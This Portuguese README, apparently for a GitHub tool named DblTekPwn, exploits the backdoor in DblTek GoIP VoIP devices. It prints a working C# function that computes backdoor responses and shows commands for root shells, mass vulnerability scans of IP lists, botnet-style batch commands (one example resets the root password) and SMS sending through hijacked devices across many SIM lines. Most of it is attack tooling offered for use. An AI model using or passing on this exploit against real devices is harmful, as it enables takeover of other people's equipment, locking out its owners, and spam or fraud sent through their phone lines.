
Ferramenta para verificar se um IP de um DblTek GoIP é vulnerável a um sistema de login de desafio-resposta, enviar mensagens SMS do sistema, executar comandos remotos ao estilo botnet e gerar respostas para desafios.
Ferramenta para explorar o sistema de desafio-resposta em dispositivos DblTek GoIP vulneráveis. Pode gerar respostas para desafios especificados, testar hosts quanto à vulnerabilidade, executar comandos em hosts vulneráveis, enviar mensagens SMS a partir de um host e entrar numa shell root em qualquer host vulnerável.
No dia 2 de março de 2017, a Trustwave divulgou uma vulnerabilidade que investigadores de segurança encontraram no telefone VoIP DblTek GoIP. A vulnerabilidade era uma backdoor no firmware para uma conta chamada 'dbladm'. Quando um utilizador introduzia este nome de utilizador num prompt telnet, o sistema apresentava um desafio que, quando seguido da resposta correta, dava ao utilizador uma shell root no sistema.
O problema com um sistema de desafio-resposta como este é que os dispositivos são tão seguros quanto o algoritmo para gerar as respostas, que foi engenharia reversa a partir de binários de firmware fornecidos pela DblTek. Usando este algoritmo, uma shell root pode ser obtida em QUALQUER dispositivo DblTek GoIP.
Artigo Original: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
Usando a descrição da backdoor fornecida no artigo, consegui escrever o que acredito ser um dos primeiros códigos de exploração para esta vulnerabilidade. O núcleo disto é, claro, o algoritmo para gerar a resposta com base num determinado desafio. Aqui está uma função para fazer isto escrita em C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
Quando o DblTekPwn é executado sem argumentos, a ajuda é exibida. Esta é a saída:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.
[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.
O DblTekGoIPPwn torna fácil obter uma shell root em qualquer sistema vulnerável. Basta executar o seguinte comando usando o IP vulnerável.
DblTekPwn.exe --root-shell --name 192.168.1.1
Verá uma saída como esta:
Password: ***********
A partir daqui pode começar a introduzir comandos (não há prompt de shell).
Suponha que queria calcular a resposta para um desafio GoIP N1746203308. Basta
executar o seguinte comando.
DblTekPwn --compute-response N1746203308
A saída será a resposta:
d6176d3aab2
Suponha que queria verificar list.txt de IPs para GoIPs que são vulneráveis e enviar esta saída
para results.txt. Primeiro, certifique-se de que os IPs estão no formato ip:porta (porta é 23 por predefinição)
e que os IPs estão separados por uma nova linha \n. O seguinte comando poderia então ser executado.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
O False ou True após o host indica se o IP é vulnerável ou não.
Suponha que tinha uma lista de comandos (que é na verdade uma lista de entradas telnet) em cmds.txt
para enviar para a list.txt de IPs e enviar a saída para results.txt. Primeiro, certifique-se
de que os IPs estão no formato ip:porta (porta é 23 por predefinição) e que TANTO os IPs COMO os comandos
estão separados por uma nova linha \n nos respetivos ficheiros. O seguinte comando poderia então
ser executado.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
O False ou True após o host indica se a ligação foi estabelecida com sucesso
e os comandos entregues.
O código neste repositório GitHub fornece uma abstração para enviar mensagens SMS (texto) a partir de um GoIP hackeado. Para usar este código,
inclua DblTekPwn.exe na sua aplicação e adicione a seguinte instrução using.
using DblTekPwn.SMS
Agora, no seu código, pode usar o método estático SmsSender.SendSms. Aqui estão alguns exemplos.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
A maioria dos GoIPs tem até 32 cartões SIM a bordo, permitindo ao hacker enviar mensagens SMS a partir de todas estas linhas.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);